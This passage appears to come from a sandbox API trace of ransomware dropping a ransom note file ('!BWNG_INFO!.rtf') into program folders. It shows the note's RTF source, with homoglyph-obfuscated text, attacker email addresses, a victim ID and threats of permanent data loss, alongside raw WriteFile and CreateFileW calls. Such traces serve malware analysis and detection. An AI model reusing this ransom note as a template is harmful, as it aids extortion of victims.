\\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.954] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.955] CloseHandle (hObject=0x1cc) returned 1 [0033.955] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\!bwng_info!.rtf")) returned 0xffffffff [0033.955] GetLastError () returned 0x2 [0033.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f 